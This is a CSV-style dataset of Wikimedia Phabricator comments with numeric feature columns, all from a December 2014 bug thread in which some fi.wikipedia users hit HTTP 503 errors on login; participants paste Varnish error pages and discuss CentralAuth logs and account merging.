",,,1418319820,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,1.0,0.0,0.0,2.5,1.0,7.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,1.5,0.0,0.0,0.0,5.0,7.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,15.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,3.0,10.5,2.0,2.5,1.5,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,7.5,9.5,0.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,4.685483870967742,0.7258064516129032,"User Paju is able to login to fi.wikipedia any time, but only through password change (new temporal password requested & this is inserted & password is changed when login). Relogin with new password fails. However some front line authentication system (by Wikimedia Foundation?) seems to recognize when correct password is inserted (redirect to Wikimedia Foundation Error -message) and when incorrect password is given (normal ""Login error. Incorrect password entered. Please try again."" failure message due to incorrect passwd occurs in Finnish). User Paju does not have problem in login with sv.wikipedia, en.wikipedia, commons, etc, i.e. problem occurs only with fi.wikipedia.  "
341136,Certain users are unable to log into their account (HTTP 503 upon login attempt),"No merging of my Paju account, please. There are at least two different persons using username Paju in wiki projects. I object merging.",,,1418319047,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.185185185185185,0.8518518518518519,"No merging of my Paju account, please. There are at least two different persons using username Paju in wiki projects. I object merging."
341133,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If Stryn's intuition is right:
* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting (although it would be very weird for this to be browser-specific);
* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.

> Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?

No, this has been going on for weeks.",,,1418318693,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,3.0,1.0,0.0,1.0,7.0,3.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,14.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,3.9577464788732395,0.8169014084507042,"If Stryn's intuition is right:
* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting (although it would be very weird for this to be browser-specific);
* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.

QUOTE

No, this has been going on for weeks."
341132,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If Stryn's intuition is right:
* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting (although it would be very weird);
* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.

> Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?

No, this has been going on for weeks.",,,1418318668,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,3.0,2.0,0.0,2.0,6.0,3.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,12.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,3.96875,0.859375,"If Stryn's intuition is right:
* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting (although it would be very weird);
* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.

QUOTE

No, this has been going on for weeks."
341130,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If Stryn's intuition is right:
* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting;
* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.

> Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?

No, this has been going on for weeks.",,,1418318605,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,4.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,12.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.035714285714286,0.8392857142857143,"If Stryn's intuition is right:
* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting;
* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.

QUOTE

No, this has been going on for weeks."
341128,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If Stryn's intuition is right:
* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting;
* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.",,,1418318414,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,5.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,12.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.348837209302325,0.8837209302325582,"If Stryn's intuition is right:
* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting;
* someone should merge Paju's account, if that's not enough we'd know to look somewhere else."
341127,Certain users are unable to log into their account (HTTP 503 upon login attempt),"So in this case it's a non-global account: https://meta.wikimedia.org/wiki/Special:CentralAuth/Paju

Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?",,,1418317948,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,9.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,5.0,9.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,9.0,0.0,5.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.511627906976744,0.9069767441860465,"So in this case it's a non-global account: URL

Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?"
341119,Certain users are unable to log into their account (HTTP 503 upon login attempt),@joe and I looked into this just now and didn't see anything helpful in the logs (we can see the errors though). Would any of you who have the error be able to join #wikimedia-tech so we can watch your login process as it happens?,,,1418317559,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,2.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,6.0,0.0,8.0,11.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,2.0,4.0,9.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,11.0,11.0,0.0,2.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.641509433962264,0.8867924528301887,SCREEN_NAME and I looked into this just now and didn't see anything helpful in the logs (we can see the errors though). Would any of you who have the error be able to join #wikimedia-tech so we can watch your login process as it happens?
341112,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Should be noted that all of those users who have had problems with login seems to be without a SUL account.
User:Artomo who is one of the users who had problems made a SUL account (using Special:MergeAccount) on 27 November 2014.
User:Velma who is one of the users who had problems made a SUL account (using Special:MergeAccount) on 10 December 2014. And AFAIK Velma is now able to use Wikipedia normally.",,,1418316965,,PHID-USER-6majuboi566q3ozbh27r,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,1.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,20.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,2.0,0.0,0.0,0.0,3.7865168539325844,0.5393258426966292,"Should be noted that all of those users who have had problems with login seems to be without a SUL account.
User:Artomo who is one of the users who had problems made a SUL account (using Special:MergeAccount) on 27 November 2014.
User:Velma who is one of the users who had problems made a SUL account (using Special:MergeAccount) on 10 December 2014. And AFAIK Velma is now able to use Wikipedia normally."
341103,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Hmm, can somebody push this to the higher priority of Foundation tech guys? Most likely this is a bug in server side so user's cannot do anything without access to server logs. However currently this is also repeatable so somebody should least take debug information from server side to the ticket. ",,,1418315495,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,5.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,7.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,16.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,4.350877192982456,0.7719298245614035,"Hmm, can somebody push this to the higher priority of Foundation tech guys? Most likely this is a bug in server side so user's cannot do anything without access to server logs. However currently this is also repeatable so somebody should least take debug information from server side to the ticket. "
341101,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Hmm, can somebody push this to the higher priority of Foundation tech guys? Most likely this is a bug in server side so user's cannot do anything without access to server logs. However currently this is also repeatable so somebody should least take debug information up. ",,,1418315453,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.0,6.0,0.0,0.0,2.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,4.326923076923077,0.8269230769230769,"Hmm, can somebody push this to the higher priority of Foundation tech guys? Most likely this is a bug in server side so user's cannot do anything without access to server logs. However currently this is also repeatable so somebody should least take debug information up. "
341027,Certain users are unable to log into their account (HTTP 503 upon login attempt),"It should be noted that** the system seems to recognize when user is using correct password** (case 1) and when not (case 2). In case 1, user Paju (fi.wikipedia) is redirected to Wikimedia Foundation Error page, as shown above (or below, for 3rd time). If user Paju inserts erroneous password (case 2), system acts normally and notifies him about erroneous password and requests typing password again. So **the problem seems to be somewhere after the initial user recognition.**

Example of the error message 3, browser as in Example 1, IP has been renewed.

//**Wikimedia Foundation
Error**//

//Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.//
//Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Minsk, from 91.198.174.62 via cp1067 cp1067 ([10.64.0.104]:3128), Varnish XID 1668654212//
//Forwarded for:  IP-REMOVED-BY-PAJU, 91.198.174.71, 91.198.174.71, 91.198.174.62
Error: 503, Service Unavailable at Thu, 11 Dec 2014 13:18:26 GMT//

Here the IP number 91.198.174.xx belongs to Wikimedia Foundation Inc. (Netherlands) and the IP number 10.64.0.yy to IANA (United States - Internet Assigned Numbers Authority).",,,1418307741,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,2.6666666666666665,0.6666666666666666,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,8.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,3.6666666666666665,1.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,14.333333333333334,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.6666666666666665,2.6666666666666665,17.666666666666668,1.6666666666666667,2.0,4.333333333333333,0.0,0.0,0.0,0.0,2.0,0.6666666666666666,5.0,0.0,1.0,8.0,14.333333333333334,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,4.298039215686274,0.6784313725490198,"It should be noted that** the system seems to recognize when user is using correct password** (case 1) and when not (case 2). In case 1, user Paju (fi.wikipedia) is redirected to Wikimedia Foundation Error page, as shown above (or below, for 3rd time). If user Paju inserts erroneous password (case 2), system acts normally and notifies him about erroneous password and requests typing password again. So **the problem seems to be somewhere after the initial user recognition.**

Example of the error message 3, browser as in Example 1, IP has been renewed.

//**Wikimedia Foundation
Error**//

//Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
If you report this error to the Wikimedia System Administrators, please include the details below.//
//Request: POST URL from 91.198.174.62 via cp1067 cp1067 ([10.64.0.104]:3128), Varnish XID 1668654212//
//Forwarded for:  IP-REMOVED-BY-PAJU, 91.198.174.71, 91.198.174.71, 91.198.174.62
Error: 503, Service Unavailable at Thu, 11 Dec 2014 13:18:26 GMT//

Here the IP number 91.198.174.xx belongs to Wikimedia Foundation Inc. (Netherlands) and the IP number 10.64.0.yy to IANA (United States - Internet Assigned Numbers Authority)."
340469,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Has also been reported at dewiki: https://de.wikipedia.org/w/index.php?title=Wikipedia:Fragen_zur_Wikipedia&oldid=136658267#Login_Problem

I looked into the logs quickly, but wasn't able to find anything relevant :/",,,1418238901,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-30,True,0.0,4.0,0.0,4.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.84,1.0,"Has also been reported at dewiki: URL

I looked into the logs quickly, but wasn't able to find anything relevant :/"
340272,Certain users are unable to log into their account (HTTP 503 upon login attempt),Edited the description because problem seems to be user account specific. Person can fail with one user_name with error 503 but successfully login with another with same computer.,,,1418201028,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,20.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.066666666666666,0.8666666666666667,Edited the description because problem seems to be user account specific. Person can fail with one user_name with error 503 but successfully login with another with same computer.
340265,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. Also it is also tested that using Firefox ""private window tab"" doesn't help. If password is changed via reset password link then login will work once, but then fail again. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
```

Example error  messsage 2 provided  by Paju, different browser, 20 minutes after the password change.
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
```
",,,1418198753,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,6.0,1.0,0.0,0.0,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,5.666666666666667,8.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,6.666666666666667,0.0,0.6666666666666666,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,16.666666666666668,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,9.666666666666666,2.6666666666666665,2.6666666666666665,1.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,0.0,1.6666666666666667,8.666666666666666,5.0,0.0,2.0,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,0.0,2.0,0.3333333333333333,0.0,1.6666666666666667,3.9434909163906458,0.7213690655425072,"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ URL | 1 ]], [[ URL | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. Also it is also tested that using Firefox ""private window tab"" doesn't help. If password is changed via reset password link then login will work once, but then fail again. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
``CODE`CODE`CODE``
"
339789,Certain users are unable to log into their account (HTTP 503 upon login attempt),"This comment is follow up comment to Stryn comment. Paju who was original reporter did give more detailed error report (copy pasted in below) and Velma confirmed that there has been problems whole week. Information from Paju and Velma translated to english ( [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28tekniikka%29#Sis.C3.A4.C3.A4nkirjautumisessa_ongelmia_.28Firefox.2FWin.29 | 1 ]], [[ https://fi.wikipedia.org/wiki/Wikipedia:Kahvihuone_%28Wikipedian_k%C3%A4yt%C3%B6n_neuvonta%29#Kirjautumisongelmia | 2) ]]:

- Paju: Problem seems to be account related. Problem persist when he is trying to log in with different computer, ip or browser with user ""Paju"" to fiwiki. At same time login with other accounts it working. Paju doesn't use unified login so he wasn't able to test if login via other wikipedias is working. Changing password doesn't fix the problem. Also it is also tested that using Firefox ""private window tab"" doesn't help. 
- Velma: Problems to login with user name ""Velma"" has been ongoing whole week and she confirmed that problem persist when different computers and browsers are used. Problem also exists when svwiki, commons or wikidata is used. Alternative account seems to be working. 

Example error messsage 1 provided  by Paju ; browser 1
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Nukketeatteri+Sampo&returntoquery=oldid%3D2037078, from 10.20.0.138 via cp1053 cp1053 ([10.64.32.105]:3128), Varnish XID 2354709726
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 10.20.0.138
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:32:30 GMT 
```

Example error  messsage 2 provided  by Paju, different browser, 20 minutes after the password change.
```

    Wikimedia Foundation
    Error
    Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
    If you report this error to the Wikimedia System Administrators, please include the details below.
    Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Wikipedia:Etusivu, :from 91.198.174.72 via cp1068 cp1068 ([10.64.0.105]:3128), Varnish XID 523992095
    Forwarded for: IP-REMOVED-BY-PAJU, 10.20.0.140, 10.20.0.140, 91.198.174.72
    Error: 503, Service Unavailable at Mon, 08 Dec 2014 12:59:58 GMT 
```
